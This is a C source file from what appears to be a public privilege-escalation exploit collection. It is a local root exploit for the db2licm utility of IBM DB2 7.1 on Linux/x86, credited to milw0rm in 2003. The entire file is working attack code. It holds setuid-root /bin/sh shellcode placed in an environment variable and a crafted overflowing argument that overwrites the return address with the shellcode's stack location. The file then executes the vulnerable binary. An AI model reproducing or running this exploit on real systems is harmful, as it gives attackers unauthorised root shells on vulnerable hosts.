/linux/linux_exploits/106.c

https://github.com/1N3/PrivEsc · C · 103 lines · 69 code · 22 blank · 12 comment · 3 complexity · 47dc7f482f5cde75efa3344168561360 MD5 · raw file

  1. /*
  2. Local Exploit for db2licm
  3. IBM db2 v 7.1 Linux/x86
  4. vulnerability researched by
  5. Juan Manuel Pascual Escriba
  6. pask at uninet.edu
  7. */
  8. char sc[]=
  9. "\x31\xc0" /* begin setuid (0) */
  10. "\x31\xdb"
  11. "\xb0\x17"
  12. "\xcd\x80"
  13. "\xeb\x1f"
  14. "\x5e"
  15. "\x89\x76\x08"
  16. "\x31\xc0"
  17. "\x88\x46\x07"
  18. "\x89\x46\x0c"
  19. "\xb0\x0b"
  20. "\x89\xf3"
  21. "\x8d\x4e\x08"
  22. "\x8d\x56\x0c"
  23. "\xcd\x80"
  24. "\x31\xdb"
  25. "\x89\xd8"
  26. "\x40"
  27. "\xcd\x80"
  28. "\xe8\xdc\xff\xff\xff"
  29. "/bin/sh";
  30. #define STACK_TOP_X86 0xC0000000
  31. #define ALG_MASK 0xfffffff4
  32. #define ADDR 1000
  33. #define DB2LICM "/home/db2inst1/sqllib/adm/db2licm"
  34. #define DFL_ALG 4
  35. int main(int arc, char **arv){
  36. char *argv[3];
  37. char *envp[2];
  38. unsigned long sc_address, ba=0;
  39. unsigned char alg = DFL_ALG;
  40. unsigned long *p;
  41. unsigned char *q;
  42. unsigned int i;
  43. sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - 1;
  44. printf("shellcode address = 0x%X\n",sc_address);
  45. if( (sc_address & ALG_MASK) != sc_address ) {
  46. ba = sc_address - (sc_address & ALG_MASK);
  47. printf("adding %d trailing bytes to backward align Shellcode to 0x%X\n", ba,
  48. sc_address & ALG_MASK);
  49. sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - ba - 1;
  50. printf("new shellcode address = 0x%X\n",sc_address);
  51. }
  52. envp[0] = (char*)malloc(sizeof(sc)+strlen("pete=")+1+ba);
  53. q = envp[0];
  54. strcpy(q,"pete=");
  55. q += strlen("pete=");
  56. memcpy(q,sc,sizeof(sc));
  57. q += sizeof(sc)-1;
  58. memset(q,'A',ba);
  59. q += ba;
  60. *q = 0;
  61. envp[1] = 0;
  62. /* build overflowing arvg[2] */
  63. printf("using alignment = %d in overflow buffer\n",alg);
  64. argv[0] = DB2LICM;
  65. argv[1] = "-a";
  66. argv[2] = (char*)malloc(ADDR*sizeof(unsigned long)+alg+1);
  67. memset(argv[2],'A',alg);
  68. p=(unsigned long*)(argv[2]+alg);
  69. for(i=0;i<ADDR;i++) {
  70. *p = sc_address;
  71. p++;
  72. };
  73. *p = 0;
  74. argv[3] = 0;
  75. printf("executing %s ...\n\n",argv[0]);
  76. execve(argv[0],argv,envp);
  77. }
  78. // milw0rm.com [2003-09-27]